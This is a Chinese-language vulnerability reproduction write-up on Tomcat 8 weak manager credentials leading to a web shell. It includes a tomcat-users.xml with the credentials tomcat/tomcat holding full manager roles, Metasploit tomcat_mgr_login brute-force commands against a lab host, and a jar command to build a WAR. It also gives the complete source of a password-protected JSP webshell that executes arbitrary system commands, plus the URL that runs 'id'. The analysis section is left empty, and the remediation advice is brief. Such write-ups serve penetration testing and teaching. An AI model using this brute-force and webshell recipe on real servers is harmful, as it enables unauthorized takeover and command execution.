Tomcat8弱口令以及后台GetShell
1. 漏洞描述
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat在conf/tomcat-users.xml
文件中配置了用户的权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0">
<role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users>
|
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
2. 影响版本
Tomcat 8.x
3. 漏洞复现
3.1 使用msf弱口令爆破
1 2
| msfconsole //启动console msf6> search tomcat //搜索tomcat相关模块
|

3.2 使用tomcat_mgr_login模块爆破
1 2
| use 9 //使用序号为9的模块 msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options //显示模块选项
|

1 2 3 4 5
| msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.2.20 rhosts => 192.168.2.20 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8080 rport => 8080 run //运行
|

成功得到账号和密码。
3.3 将shell文件打包为war包
使用爆破出的账号密码登陆后台,将shell文件打包为war包
3.3.1 使用jar命令打包
1
| jar cvf shell.war shell.jsp // 或者直接将jsp压缩为zip然后改后缀也可以
|

1 2 3 4 5 6 7 8 9 10 11 12 13
| <% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
|
3.3.2 在后台上传war包

3.3.3 访问Shell文件
1
| http://192.168.2.20:8080/shell/shell.jsp?pwd=123&i=id
|

4. 漏洞分析
…
5. 修复建议
conf/tomcat-users.xml
文件中把用户的权限取消
1
| <user username="tomcat" password="tomcat" roles="manager-gui"/>
|
将Tomcat升级版本